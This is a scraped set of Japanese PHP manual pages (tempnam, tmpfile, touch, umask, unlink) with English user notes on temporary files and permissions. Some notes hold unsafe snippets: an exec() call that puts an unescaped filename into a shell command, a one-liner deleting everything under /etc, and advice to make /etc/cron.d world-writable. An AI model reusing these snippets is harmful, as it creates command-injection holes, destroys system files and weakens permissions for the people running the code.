
    $tempfile = tempnam($real_dir_path, $prefix);
    $name = basename($tempfile);

    if(is_file($real_dir_path.$name))
        return $name;
    else
    {
        @unlink($name);
        return FALSE;
    }
}

This function returns just the name of the temporary file in the specified directory, or FALSE.

Obviously it could return the entire $tempfile, but in my case, I actually want the basename value seperate.
tux ARROBA cenobioracing PUNTO com 27-Aug-2006 05:19
Beware that on Windows NT and other windows, if you have, for example, a variable $work_dir with a path to some dir on your document root(or any other dir). Note the following:
<?php
$work_dir = 'C:/some/path/to/document_root/dir';
file_exists($working_dir); // Returns true
is_writable($working_dir); // Returns true
$tempfile = tempnam($working_dir,'img');
//$temfile now contains a system wide temp directory file, like 'C:/WINNT.SBS/img444.tmp' instead of the directory we pass it
//Thats because we need to give I_USR (IIS user) user write permission to $working_dir  although according to the aforementioned functions seemed it already had it...
//If you want to use just the system wide temp directory return by default by tempnam you will also need to give it write permission to I_USR user to be able to write to that file...
?>
Ron Korving 03-Feb-2006 12:32
This function creates a temporary directory. The previous example given could bug if between the unlink() and mkdir() some process creates the same directory or file. This implementation is faster too.

<?php
  function tempdir($dir, $prefix='', $mode=0700)
  {
    if (substr($dir, -1) != '/') $dir .= '/';

    do
    {
      $path = $dir.$prefix.mt_rand(0, 9999999);
    } while (!mkdir($path, $mode));

    return $path;
  }
?>
KOmaSHOOTER at gmx dot de 18-Sep-2005 01:51
This Example makes a File called "user.txt"
in the dir www.XXXXX.XX/restricted/
<?php
$tmpfname = tempnam($_ENV["DOCUMENT_ROOT"]."/restricted", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something
//echo($_ENV["DOCUMENT_ROOT"]);
copy($tmpfname,'user.txt');
 ?>
php at REMOVEMEkennel17 dot co dot uk 05-Mar-2005 10:10
Note that tempnam returns the full path to the temporary file, not just the filename.
Sebastian Kun 21-Jan-2005 01:03
If you go to the linux man page for the C function tempnam(3), you will see at the end "Never use this function. Use mkstemp(3) instead." But php's tempnam() function doesn't actually use tmpnam(3), so there's no problem (under Linux, it will use mkstemp(3) if it's available).
Nick Smith 20-Jan-2005 11:35
It is worth noting that if the 'dir' that you supply doesn't exist, then it is silently ignored and the system /tmp directory used. At least under Linux, PHP v4.1.2.

I had a script that appeared to work fine with safe mode switched off, but I didn't realise that my 'dir' parameter had a typo (so the files were going in /tmp), and once safe mode was switched on I started getting errors because the rest of the script couldn't read files from the system /tmp folder.
anakin dot skyw at gmx dot de 04-Jul-2004 08:20
>Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target.

Couldn't you do
<?php
       if ($newFileCreated) {
           unlink ($sysFileName);
           return $newFileName;
       }
?>
and get the same semantics as the windows version?
bishop 30-Apr-2004 08:03
Creating a temporary file with a specific extension is a common requirement on dynamic websites. Largely this need arises from Microsoft browsers that identify a downloaded file's mimetype based on the file's extension.

No single PHP function creates a temporary filename with a specific extension, and, as has been shown, there are race conditions involved unless you use the PHP atomic primitives.

I use only primitives below and exploit OS dependent behaviour to securely create a file with a specific postfix, prefix, and directory.  Enjoy.

<?php
function secure_tmpname($postfix = '.tmp', $prefix = 'tmp', $dir = null) {
    // validate arguments
    if (! (isset($postfix) && is_string($postfix))) {
        return false;
    }
    if (! (isset($prefix) && is_string($prefix))) {
        return false;
    }
    if (! isset($dir)) {
        $dir = getcwd();
    }

    // find a temporary name
    $tries = 1;
    do {
        // get a known, unique temporary file name
        $sysFileName = tempnam($dir, $prefix);
        if ($sysFileName === false) {
            return false;
        }

        // tack on the extension
        $newFileName = $sysFileName . $postfix;
        if ($sysFileName == $newFileName) {
            return $sysFileName;
        }

        // move or point the created temporary file to the new filename
        // NOTE: these fail if the new file name exist
        $newFileCreated = (isWindows() ? @rename($sysFileName, $newFileName) : @link($sysFileName, $newFileName));
        if ($newFileCreated) {
            return $newFileName;
        }

        unlink ($sysFileName);
        $tries++;
    } while ($tries <= 5);

    return false;
}
?>

The isWindows function is mostly left as an exercise for the reader. A starting point is below:

<?php
function isWindows() {
    return (DIRECTORY_SEPARATOR == '\\' ? true : false);
}
?>

Like tempnam(), this function requires you to cleanup your own files later. Under UNIX (where you can rename onto an extant file and so I used link), you will have to remove both the link and the link's target. Cleanup is left entirely to the reader.
phpdoc at rickbradley dot com 25-Nov-2003 03:54
The "newtempnam" recipe provided below (posted by "tempnam" on " 23-Jul-2003 08:56") has at least one race condition.  The while loop checks to make sure that the file in question doesn't exist, and then goes and creates the file.  In between the existence test and the fopen() call there is an opportunity for an attacker to create the file in question.

This is a classic race-condition, and while it seems difficult to exploit there are a number of well-known attacks against this kind of sloppy file creation.

The atomic primitives necessary to implement secure file creation are not available at the language level in PHP.  This further underscores the need for PHP-language developers to rely on the language's security primitives (including tempnam() and tempfile()) instead of rolling their own.
lreilly at lanl dot gov 28-Aug-2002 05:54
Be careful with you forward and back slashes. Innocent looking code like this...

$uploaddir = "C:/Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/";
$tempFile = tempnam ($uploaddir, "TMPANAL");
$fp = fopen($tmpfname, "w");
fwrite($fp, $iqdata);
//fclose($fp);

... may show something odd when echoing $tempFile";

i.e. /Program Files/Apache Group/Apache2/htdocs/sasdap/uploads/\TMP3D.tmp

Must... remember... to... use... backslashes...

 - Lee P. Reilly


テンポラリファイルを作成する

  • ≪ tempnam
  • touch ≫
  • PHP Manual
  • ファイルシステム 関数
  • テンポラリファイルを作成する

tmpfile

(PHP 4, PHP 5, PHP 7, PHP 8)

tmpfile — テンポラリファイルを作成する

説明

tmpfile ( ) : resource|false

書き込み可のモード (w+) でユニークな名前を有するテンポラリファイルを作成し、 ファイルハンドルを返します。

(fclose()を呼んだり、tmpfile() が返すファイルハンドルへの参照がなくなったりして) ファイルをクローズした場合や、スクリプトが終了したりしたときに、このファイルは自動的に削除されます。

警告

スクリプトが予期せず終了した場合、テンポラリファイルが削除されないかもしれません。

返り値

ファイルのハンドルを返します。 これは、 fopen() により返されるハンドルと同じものです。 失敗した場合に false を返します。

例

例1 tmpfile() の例

<?php
$temp = tmpfile();
fwrite($temp, "writing to tempfile");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // ファイルを削除します
?>

上の例の出力は以下となります。

writing to tempfile

参考

  • tempnam() - 一意なファイル名を生成する
  • sys_get_temp_dir() - 一時ファイル用に使用されるディレクトリのパスを返す

User Contributed Notes

divinity76 at gmail dot com 25-Feb-2020 05:11
at least on Windows 10 with php 7.3.7, and Debian Linux with php 7.4.2,

the mode is not (as the documentation states) 'w+' , it is 'w+b'

(an important distinction when working on Windows systems)
elm at gmail dot nospamplease dot com 27-Aug-2019 04:40
To get tmpfile contents:
<?php
  $tmpfile = tmpfile();
  $tmpfile_path = stream_get_meta_data($tmpfile)['uri'];
  // ... write to tmpfile ...
  $tmpfile_content = file_get_contents($tmpfile_path);
?>

Perhaps not the best way for production code, but good enough for logging or a quick var_dump() debug run.
bishop 27-Apr-2018 07:55
To get the underlying file path of a tmpfile file pointer:

<?php
$file = tmpfile();
$path = stream_get_meta_data($file)['uri']; // eg: /tmp/phpFx0513a
Anonymous 19-Oct-2016 03:19
Since this function may not be working in some environments, here is a simple workaround:

function temporaryFile($name, $content)
{
    $file = DIRECTORY_SEPARATOR .
            trim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) .
            DIRECTORY_SEPARATOR .
            ltrim($name, DIRECTORY_SEPARATOR);

    file_put_contents($file, $content);

    register_shutdown_function(function() use($file) {
        unlink($file);
    });

    return $file;
}
ssandor 22-Nov-2012 08:32
Beware that PHP's tmpfile is not an equivalent of unix' tmpfile.
PHP (at least v. 5.3.17/linux I'm using now) creates a file in /tmp with prefix "php", and deletes that file on fclose or script termination.
So, if you want to be sure that you don't leave garbage even in case of a fatal error, or killed process, you shouldn't rely on this function.
Use the classical method of deleting the file after creation:
<?php
$fn = tempnam ('/tmp', 'some-prefix-');
if ($fn)
  {
    $f = fopen ($fn, 'w+');
    unlink ($fn);  // even if fopen failed, because tempnam created the file
    if ($f)
      {
        do_something_with_file_handle ($f);
      }
  }
?>
oremanj at gmail dot com 08-Apr-2007 11:46
No, the fseek() is necessary - after writing to the file, the file pointer (I'll use "file pointer" to refer to the current position in the file, the thing you change with fseek()) is at the end of the file, and reading at the end of the file gives you EOF right away, which manifests itself as an empty upload.

Where you might be getting confused is in some systems' requirement that one seek or flush between reading and writing the same file.  fflush() satisfies that prerequisite, but it doesn't do anything about the file pointer, and in this case the file pointer needs moving.

-- Josh
chris [at] pureformsolutions [dot] com 04-Oct-2005 12:14
I found this function useful when uploading a file through FTP. One of the files I was uploading was input from a textarea on the previous page, so really there was no "file" to upload, this solved the problem nicely:

<?php
    # Upload setup.inc
    $fSetup = tmpfile();
    fwrite($fSetup,$setup);
    fseek($fSetup,0);
    if (!ftp_fput($ftp,"inc/setup.inc",$fSetup,FTP_ASCII)) {
        echo "<br /><i>Setup file NOT inserted</i><br /><br />";
    }
    fclose($fSetup);
?>

The $setup variable is the contents of the textarea.

And I'm not sure if you need the fseek($temp,0); in there either, just leave it unless you know it doesn't effect it.


ファイルの最終アクセス時刻および最終更新日をセットする

  • ≪ tmpfile
  • umask ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの最終アクセス時刻および最終更新日をセットする

touch

(PHP 4, PHP 5, PHP 7, PHP 8)

touch — ファイルの最終アクセス時刻および最終更新日をセットする

説明

touch ( string $filename , int $time = time() , int $atime = ? ) : bool

filename で指定されたファイルの最終更新日を、 time で指定された値に セットしようと試みます。 パラメータの数にかかわらず、アクセス時刻は 常に変更されることに注意しましょう。

ファイルが存在しない場合、ファイルが生成されます。

パラメータ

filename

処理したいファイルの名前。

time

設定する時刻。 time を省略した場合は、 現在時刻を使用します。

atime

指定されたファイルの最終アクセス時刻が存在する場合は、 その値が atime にセットされます。 存在しない場合は time に渡した値となります。 どちらも存在しない場合は、現在のシステム時刻を使います。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 touch() の例

<?php
if (touch($filename)) {
    echo $filename . ' modification time has been changed to present time';
} else {
    echo 'Sorry, could not change modification time of ' . $filename;
}
?>

例2 touch() で time パラメータを使用する例

<?php
// 作成時刻を、ここでは 1 時間前に設定します
$time = time() - 3600;

// ファイルを作成します
if (!touch('some_file.txt', $time)) {
    echo 'おっと、何かがおかしいようです...';
} else {
    echo 'ファイルの作成に成功しました';
}
?>

注意

注意:

時刻の精度は、 ファイルシステムによって異なることがあります。

警告

PHP 5.3.0 より前のバージョンでは、Windows 環境のもとでは この関数によってディレクトリの最終更新日を変更することはできませんでした。

User Contributed Notes

centurianii at yahoo dot co dot uk 17-Aug-2017 08:01
A better explanation:

For file $file and UNIX time stored in vars $access and $modified

- change only access time
\touch($file, \filemtime($file), $access);

- change only modified time
\touch($file, $modified, \fileatime($file));

- change both access and modified time
\touch($file, $modified, $access);

Seeing the results:

//use a session cookie stored in a custom folder
$file = '/var/www/test_com/session/sess_qfn587cudfpgsijm1bs4d81s75';
echo 'stats for sess_qfn587cudfpgsijm1bs4d81s75<br/>';
\clearstatcache();
echo 'access: '.\date("Y-m-d H:i:s", \fileatime($file)).'<br/>';
echo 'modified: '.\date("Y-m-d H:i:s", \filemtime($file)).'<br/>';
echo 'change access to now, modified +1 hour<br/>';
\touch($x, \filemtime($file)+3600, time());
\clearstatcache();
echo 'access: '.\date("Y-m-d H:i:s", \fileatime($file)).'<br/>';
echo 'modified: '.\date("Y-m-d H:i:s", \filemtime($file)).'<br/>';

Notice the double call to clearstatcache()!
csouth at xistins dot com 14-Dec-2014 08:41
An earlier comment referenced a code snippet that showed file_put_contents() was faster the touch for creating files. I re-ran the same tests on PHP 5.5.9 and this seems to no longer be the case.

<?php
$startTime = microtime(true);
for($i = 0; $i < 100000; $i++)
{
    file_put_contents('dir/file'.$i, '');
    unlink('dir/file'.$i);
}
echo "Time: ".(microtime(true)-$startTime)."\n"; // Time: 2.6902809143066

$startTime = microtime(true);
for($i = 0; $i < 100000; $i++)
{
    touch('dir/file'.$i);
    unlink('dir/file'.$i);
}
echo "Time: ".(microtime(true)-$startTime)."\n"; // Time: 2.3343770503998
?>
anon 10-Nov-2013 04:38
Note that when PHP is called by f.e. apache or nginx instead of directly from the command line, touch() will not prefix the location of the invoking script, so the supplied filename must contain an absolute path.

With script started from /home/user/www, this will not touch "/home/user/www/somefile":

<?php
    touch( 'somefile' );
?>

But this will:

<?php
    touch( __DIR__ . '/somefile' );
?>
bosslog at gmail dot com 08-Oct-2010 02:11
I has passed a small test to check which function is faster to create a new file.

file_put_contents vs touch

<?php
for($i = 0; $i < 100; $i++)
{
     file_put_contents('dir/file'.$i, '');
}
?>
Average time: 0,1145s

<?php
for($i = 0; $i < 100; $i++)
{
     touch('dir/file'.$i);
}
?>
Average time: 0,2322s

So, file_put_contents is faster than touch, about two times.
chris dot dallaire at csquaredsystems dot com 09-Apr-2010 07:41
I needed to use this to touch the /etc/cron.d directory when I updated some files in there. I know the docs say this isn't necessary, but I'm finding that i need to do it in order form my changes to be picked up quickly.

I ran into the permissions error as well and I found that using chmod 777 /etc/cron.d does the trick.

So, you should be able to use the PHP touch function on a directory that has open write access.

Of course, this isn't the most secure approach, but in our application it's not a big deal for that folder to not be super secure.
ernst at cron-it dot de 29-Sep-2009 06:38
To touch a file without being owner, it is much easier:

<?php
function touchFile($file) {
  fclose(fopen($file, 'a'));
}
?>
info at archiwumrocka dot art dot pl 01-Dec-2008 01:59
Only way to change modification date in catalogue is to create file in via touch() and dalete it with unlink():

<?php
$dir    = 'temp';
$files1 = scandir($dir);

$files1 = array_slice($files1, 2);

foreach ($files1 as $key => $val)
{
    if (!is_dir($val)) continue;
    if (!touch($val))
    {
        touch($val . "/plik.txt");
        unlink($val . "/plik.txt");
    }
}
?>
mrgrier at yahoo dot com 29-Nov-2008 10:29
At least on Linux, touch will not change the time on a symlink itself, but on the file/directory it points to. The only way to work around this is to unlink the symlink, then recreate it.

It took a bit of searching to discover this. The OS itself provides no way to do it. Many people wondered why anyone would want to do this. I use symlinks inside a web tree to point to files outside the web tree. After a certain length of time has passed, I want the symlinks to die, so the files cannot be successfully hotlinked.
ddalex at gmail dot com 03-Nov-2008 09:25
Actually, Glen is right, PHP won't touch if it is not the current owner of the file, even if the directory and files are writeable by the PHP user.
Radon8472 08-Aug-2008 05:07
Important info:

touch() used on a directory always returns FALSE and prints "Permission denied" on NTFS and FAT Filesystem (tested on winXP).
Jeff 26-Jun-2008 12:29
I've been trying to set a filemtime into the future with touch() on PHP5.

It seems touch $time has a future limit around 1000000 seconds (11 days or so). Beyond this point it reverts to a previous $time.

It doesn't make much sense but I could save you hours of time.

$time = time()+1500000;
touch($cachedfile,$time);
Glen 18-Oct-2007 01:01
In unix on the command-line, you can touch files you don't own - but like other comments on this page state - PHP's built in touch won't work.

I simple alternative (on unix):

<?php

    function touch_it_good($filename)
    {
        exec("touch {$filename}");
    }
?>
Charles Belov 18-Jul-2006 06:10
Update the access time without updating the modified time:

Unix command: touch -a filename

PHP: touch(filename, date('U', filemtime(filename)), time())
spam at webmastersguide dot com 01-Sep-2005 05:09
If you're going to go around deleting (unlinking) files
that you don't own just in order to change the modification
time on the file, you darn well better chown() the file
back to it's original ownership after you are done and
chmod() it back to it's correct permissions.  Otherwise
you will almost certainly break things.  Additionally the
code listed for touch()ing a file you don't own should
set the file creation time back to it's original time if
what is wanted is to just change the modification time.
Also, the code listed will break things if there is an i/o
error such as disk full or too many files in the directory.
Here's how the code SHOULD be written:

Create the new file FIRST, rather than last, with a different
name such as $file.tmp.
Read the ownership, permissions, and creation time of the old file.
Set permissions and creation time of the new file the same as the old.
Rename the new file to the name of the old.
chown() the new file to the user that owned the file it's replacing.

Please be careful adding to the documentation if you've
never taken programming 101.
rf_public at yahoo dot co dot uk 25-Jul-2005 12:19
Note: the script to touch a file you don't own will change it's owner so ensure permissions are correct or you could lose access to it
guy at forster design dot com 12-May-2005 03:42
Here's a little workaround that allows the PHP user to touch a file it doesn't own:

<?php

    $target_file = "/path/to/file/filename.txt"; //system filepath to your file
    $file_content = implode("",file($target_file));
    @unlink($target_file);
    if($savetofile = fopen($target_file, "w")) {
        fputs($savetofile, $file_content);
        fclose($savetofile);
    }
    $new_date = strtotime("23 April 2005"); // set the required date timestamp here
    touch($target_file,$new_date);

?>

Of course, PHP needs to have write access to the folder containing the file you want to touch, but that should be easy to arrange.
feathern at yahoo dot com 13-Aug-2002 03:31
Neat little script that will give you a list of all modified files in a certain folder after a certain date:

$filelist = Array();
$filelist = list_dir("d:\\my_folder");
for($i=0;$i<count($filelist);$i++){
    $test = Array();
    $test = explode("/",date("m/d/Y",filemtime($filelist[$i])));
//example of files that are later then
//06/17/2002
    if(($test[2] > 2001) && ($test[1] > 16) && ($test[0] > 5)){
        echo $filelist[$i]."\r\n";
    }
    clearstatcache();
}
function list_dir($dn){
    if($dn[strlen($dn)-1] != '\\') $dn.='\\';
    static $ra = array();
    $handle = opendir($dn);
    while($fn = readdir($handle)){
        if($fn == '.' || $fn == '..') continue;
        if(is_dir($dn.$fn)) list_dir($dn.$fn.'\\');
        else $ra[] = $dn.$fn;
    }
    closedir($handle);
    return $ra;
}


現在の umask を変更する

  • ≪ touch
  • unlink ≫
  • PHP Manual
  • ファイルシステム 関数
  • 現在の umask を変更する

umask

(PHP 4, PHP 5, PHP 7, PHP 8)

umask — 現在の umask を変更する

説明

umask ( int $mask = ? ) : int

umask() は PHP の umask を mask & 0777 にセットし、 元の umask 値を返します。 PHP がサーバー・モジュールとして動作中の場合、 各リクエストが終了するたびに umask は元の値に戻されます。

パラメータ

mask

新しい umask。

返り値

umask()を引数無しで実行すると、単に現在の umask値を返します。

例

例1 umask() の例

<?php
$old = umask(0);
chmod("/path/some_dir/some_file.txt", 0755);
umask($old);

// チェック
if ($old != umask()) {
    die('An error occurred while changing back the umask');
}
?>

注意

注意:

マルチスレッドな Web サーバーでこの関数を使用することは避けてください。 ファイルを生成後、chmod() を使用してファイル権限を 変更するのがより良い方法です。全て同じ umask が使用されるので、 umask() の使用は、スクリプトを同時に実行する場合や Web サーバー自身の予期しない動作を引き起こす原因になる可能性があります。

User Contributed Notes

ahmad dot mayahi at gmail dot com 14-Mar-2017 10:27
Simply umask means the default permissions for new files/directories:

<?php
umask(022);
?>

This sets the default permissions for user, groups, and others respectively:

? 0 - read, write and execute
? 1 - read and write
? 2 - read and execute
? 3 - read only
? 4 - write and execute
? 5 - write only
? 6 - execute only
? 7 - no permissions
malcolm.murphy 21-Jun-2016 11:09
Clarification Of "mask & 0777":

The manual's comment "umask() sets PHP's umask to mask & 0777 [...]" is merely implying that the method only affects file permissions, but not special modes such as the setuid, setgid or sticky bits. Curiously, PHP does not actually perform the bitwise operation itself, but instead assumes it will be done by a system call of the same name. On some systems such as OS X, umask effectively sets the umask as mask & 07777, but the extraneous bits are not applicable to subsequent PHP calls like mkdir(). Linux's umask does use 0777. Its manual entry has a comment similar to the PHP one, but with a parenthetical statement that helps explain what it means:

"umask() sets the calling process's file mode creation mask (umask) to mask & 0777 (i.e., only the file permission bits of mask are used) [...]"

The fact that permissions can be determined by inverting a mask using the operation $mask & ~0777 is irrelevant, despite its similar appearance to $mask & 0777. The latter operation instead truncates $mask to the first nine low-order bits (i.e., the three rightmost octal digits [and note that the leading zero for octal notation is not itself a digit]). It does not change the remaining bits.

For example, all of the following calls have the same effect: umask(0022), umask(07022), umask(261650) (decimal value of 0777022), and umask(0b111000010010) (binary notation for 07022).
Richard Snell 04-Sep-2015 02:52
It is important to note that the mask parameter will accept values other than octal and that this can cause unexpected results.

Setting umask(22) could be expected to reduce a file with default 0666 permission to 0644 by applying a mask of 0022 but as the parameter is being supplied as a decimal it will be converted to octal silently and actually apply a mask of 0026 resulting in a final file permission of 0642.

Similarly the value returned by umask is in decimal format. If you correctly apply a mask using umask(0022) and then query the new setting with umask() it will return a value of 18 (0022 octal is 18 decimal).

In short, when applying permissions it is best to pad the supplied value with zeros to create an octal value (22 becomes 0022) and if you want to analyze the returned value remember to convert it to octal for ease of interpretation.
neon at neonjs dot com 30-Jul-2011 07:19
In case you don't understand why you need to "Avoid using this function in multithreaded webservers":

It's because this function changes the umask at the process level, rather than only for PHP or for the current script.  If there are multiple simultaneous threads running in the process in which your PHP script is running, the change will apply to all of those threads at the same time hence why this is not safe for multithreaded use.

I understand that if you are using the PHP module and Apache's prefork MPM, which is not multi-threaded, then you at least won't get race-condition problems such as this.  However, it is still worth noting that the umask setting, if not re-set, will persist for the life of that process even if the process is re-used to serve future PHP or non-PHP requests.
bishop 30-Sep-2010 06:01
"It is better to change the file permissions with chmod() after creating the file."

If you take that advice seriously, consider setting your umask so that files are created private to your user, then use chmod to open them up.

<?php
// files will create as -rw-------
umask(0077);

// create a file, eg fopen()

// give access: -rw-r--r--
chmod('/path/to/file', 0644);
?>

Whenever reasonable, default to shut and open as needed (like above) instead of default to open and shut as needed.  The above still has a race condition, but the race condition will deny appropriate access instead of granting inappropriate access.
webmaster at iacomputing dot co dot uk 28-Sep-2010 04:24
You can use umask to solve the PHP session bug that appears in several PHP versions.

<?php
umask(0022);
session_start();
?>

This will prevent sessions being created with inadequate permissions.
librodot at ciberpiula dot net 17-Jun-2009 04:54
I think that the best way to understand umask is to say that umask is used to revoke permissions, not to set permissions.

umask sets which permissions must be removed from the system default when you create a file or a directory.

For example, a mask 0022 means that you don't want group and others modify the file.

default 0666 rw-.rw-.rw-
umask   0022 ---.-w-.-w-
Final   0644 rw-.r--.r--

That means that any file from now on will have 0644 permissions.

It is important to understand that umask revokes, deletes permissions from system default, so it can´t grant permissions the system default hasn't. In the example above, with the 666 system default, there is no way you can use umask to create a file with execute permission. If you want to grant more permissions, use chmod.

Be aware that system default permissions are not related to PHP (they depends upon server configuration). PHP has a default umask that is applied after system default base permissions. And there are different system default base permissions for files and directories.

Usually, system default permissions for files are 666 and for directories 0777. And usually, default PHP umask is 0022
jphansen at uga dot edu 04-Mar-2008 06:45
On most UNIX environments the recommended default umask for files, defined in /home/user/.profile or /etc/profile, is 022 (chmod: 644). On trusted systems it is 002. Exercise caution when applying more liberal settings.
maulwuff at gmx dot de 18-Sep-2007 03:44
umask takes away the given values from the standard mask 777.
A graphical view shows this better:

standard:
rwxrwxrwx = 777
will get with umask 002:
rwxrwxr-x  = 775
or will get with umask 077:
rwx------ = 700

and so on.
sean at awesomeplay dot com 30-May-2007 09:48
"It is better to change the file permissions with chmod() after creating the file."

The usual lacking of security knowledge within the PHP team rears its head once again.  You *always* want to have the file created with the proper permission.  Let me illustrate why:

(a) you create new file with read permissions
(b) an attacking script opens the file
(c) you chmod the file to remove read permissions
(d) you write sensitive data to the file

Now, you might think that the changes of an attacking script getting to open the file before you chmod them are low.  And you're right.  But low changes are never low enough - you want zero chance.

When creating a file that needs increased permissions, you always need to create the file with the proper permissions, and also create it with O_EXCL set.  If you don't do an exclusive create, you end up with this scenario:

(a) attacker creates the file, makes it writable to everyone
(b) you open the file with restricted permissions, but since it already exists, the file is merely opened and the permissions left alone
(c) you write sensitive data into the insecure file

Detecting the latter scenario is possible, but it requires a bit of work.  You have to check that the file's owner and group match the script's (that is, posix_geteuid(), not myuid()) and check the permissions - if any of those are incorrect, then the file is insecure - you can attempt to unlink() it and try again while logging a warning, of course.

The only time when it is reasonable or safe to chmod() a file after creating it is when you want to grant extra permissions instead of removing them.  For example, it is completely safe to set the umask to 0077 and then chmoding the files you create afterward.

Doing truly secure programming in PHP is difficult as is, and advice like this in the documentation just makes things worse.  Remember, kids, anything that applies to security in the C or UNIX worlds is 100% applicable to PHP.  The best thing you can possibly do for yourself as a PHP programmer is to learn and understand secure C and UNIX programming techniques.
ShaD@TW 16-May-2006 09:32
Notice that directory(s) and file(s) sometimes have different results.

<?php
umask(0670);                    //- set umask
$handle = fopen('file', 'w');   //- 0006
mkdir("/path/dir");             //- 0107
?>

calculate the result:
<?php
$umask = 0670;
umask($umask);
//- if you are creating a new directory, $permission = 0777;
//- if you are creating a new file, $permission = 0666.
printf( "result: %04o", $permission & ( 0777 - $umask) );
?>

BTW, as the manual said, the form of umask() is "int umask ( [int mask] )", so if you want to print/echo any umask, don't forget to convert it from DEC (because it returns a "int") to OCT.

<?php
$umask = umask();          //- returns the current umask, which is a "int"
$umask = decoct($umask);   //- Now, $umask is a "string"
echo $umask;
?>

Don't forget that the argument(parameter) is a "int", too.

<?php
umask(777);    //- WRONG! Even though you maybe use "umask 777" in some OS.
umask(0777);   //- OK
?>

If there was any mistake, please correct my statement.
18-Feb-2006 08:31
Using (cmask - umask) is a wrong way to calculate the new mask:

0022 - 0700 = 0656 WRONG
0700 & ~0022 = 0700 CORRECT

Correct php code:
<?php
$rmask = ($cmask & ~$umask);
?>
andi<at>splitbrain.org 03-Mar-2005 02:03
To play around with umasks and permissions use this little fragment:

<?
$umask = 0012;
$perm  = 0777;
printf("umask: %04o perm: %04o result: %04o\n",
       $umask,$perm,$perm & (0777 - $umask));
?>
sam at totallydigital dot co dot nz 19-Sep-2002 09:04
The first comment perhaps didn't quite make clear what's on with your umask and the permissions.

The permission passed to a command is first bitwise ANDed with the _INVERSE_ of the current umask, then applied to the file.

For example, umask = 0011 and permission = 0775
The inverse of 0011 = 0766

0775 AND 0766
= 111.111.101 AND 111.110.110
= 111.110.100
= 0764


ファイルを削除する

  • ≪ umask
  • Inotify ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルを削除する

unlink

(PHP 4, PHP 5, PHP 7, PHP 8)

unlink — ファイルを削除する

説明

unlink ( string $filename , resource $context = ? ) : bool

filename を削除します。 Unix C 言語の関数 unlink() と動作は同じです。 失敗した場合は E_WARNING レベルのエラーが発生します。

パラメータ

filename

ファイルへのパス。

context

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | Windows で、使用中のハンドルを使ってファイルを unlink() できるようになりました。 これより前のバージョンでは、失敗していました。 但し、unlink されたファイルを再生成できるようになっているわけでは未だありません。 そうするには、全てのハンドルが閉じられている必要があります。

例

例1 基本的な unlink() の使用法

<?php
$fh = fopen('test.html', 'a');
fwrite($fh, '<h1>Hello world!</h1>');
fclose($fh);

unlink('test.html');
?>

参考

  • rmdir() - ディレクトリを削除する

User Contributed Notes

Keatran 01-Jul-2020 07:41
unlink works the same as the rm command on nix based loses or del command on windows, it will not resolve the file but remove the exact path given even if that path is just a link.

E.G
/var/www/test/index.php = symlink(/home/test/www/index.php)
<?php
unlink("/var/www/test/index.php");
?>
Will just delete the link, not the original file where as
<?php
unlink("/home/test/www/index.php");
?>
Will unlink the original file path and break the symlink, and allow the system to overwrite as the filesystem will not know of the file's location anymore.
llmll at gmx dot de 11-Apr-2015 09:53
On OSX, when fighting against a "Permission Denied" error, make sure, the directory has WRITE permissions for the executing php-user.

Furthermore, if you rely on ACLs, and want to delete a file or symlink, the containing directory needs to have "delete_child" permission in order to unlink things inside. If you only grant "delete" to the folder that will allow you to delete the container folder itself, but not the objects inside.
Eric 11-Aug-2014 02:17
This might seem obvious, but I was tearing my hair out with this problem - make sure the file you're trying to delete isn't currently being used. I had a script that was parsing a text file and was supposed to delete it after completing, but kept getting a permission denied error because I hadn't explicitly closed the file, hence it was technically still being "used" even though the parsing was complete.
deen804 at gmail dot com 10-Dec-2013 06:14
unlink($fileName); failed for me .
Then i tried using the realpath($fileName)  function as
unlink(realpath($fileName)); it worked

just posting it , in case if any one finds it useful .
Alex, the Marrch Ca&#39;at 26-Jun-2013 04:22
The best way to delete files by mask is as follows:
<?php
array_walk(glob('/etc/*'), 'unlink');
?>
Do not use array_map mentioned below - it's purpose is to process values in a given array AND COLLECT data returned by the callback function. So, array_map is slower and uses additional memory compared to array_walk.
anagai at yahoo dot com 06-Sep-2012 07:47
This will delete all files in a directory matching a pattern in one line of code.

<?php array_map('unlink', glob("some/dir/*.txt")); ?>
dexen dot devries at gmail dot com 31-Dec-2010 01:28
Deleted a large file but seeing no increase in free space or decrease of disk usage? Using UNIX or other POSIX OS?

The unlink() is not about removing file, it's about removing a file name. The manpage says: ``unlink - delete a name and possibly the file it refers to''.

Most of the time a file has just one name -- removing it will also remove (free, deallocate) the `body' of file (with one caveat, see below). That's the simple, usual case.

However, it's perfectly fine for a file to have several names (see the link() function), in the same or different directories. All the names will refer to the file body and `keep it alive', so to say. Only when all the names are removed, the body of file actually is freed.

The caveat:
A file's body may *also* be `kept alive' (still using diskspace) by a process holding the file open. The body will not be deallocated (will not free disk space) as long as the process holds it open. In fact, there's a fancy way of resurrecting a file removed by a mistake but still held open by a process...
federico at poisonfx dot com 06-Dec-2010 02:55
Here the simplest way to delete files with mask

<?php
   $mask = "*.jpg"
   array_map( "unlink", glob( $mask ) );
?>
gotdalife at gmail dot com 25-Sep-2008 07:04
To anyone who's had a problem with the permissions denied error, it's sometimes caused when you try to delete a file that's in a folder higher in the hierarchy to your working directory (i.e. when trying to delete a path that starts with "../").

So to work around this problem, you can use chdir() to change the working directory to the folder where the file you want to unlink is located.

<?php
    $old = getcwd(); // Save the current directory
    chdir($path_to_file);
    unlink($filename);
    chdir($old); // Restore the old working directory
?>
PD 06-Aug-2008 05:07
I have been working on some little tryout where a backup file was created before modifying the main textfile. Then when an error is thrown, the main file will be deleted (unlinked) and the backup file is returned instead.

Though, I have been breaking my head for about an hour on why I couldn't get my persmissions right to unlink the main file.

Finally I knew what was wrong: because I was working on the file and hadn't yet closed the file, it was still in use and ofcourse couldn't be deleted :)

So I thought of mentoining this here, to avoid others of making the same mistake:

<?php
// First close the file
fclose($fp);

// Then unlink :)
unlink($somefile);
?>
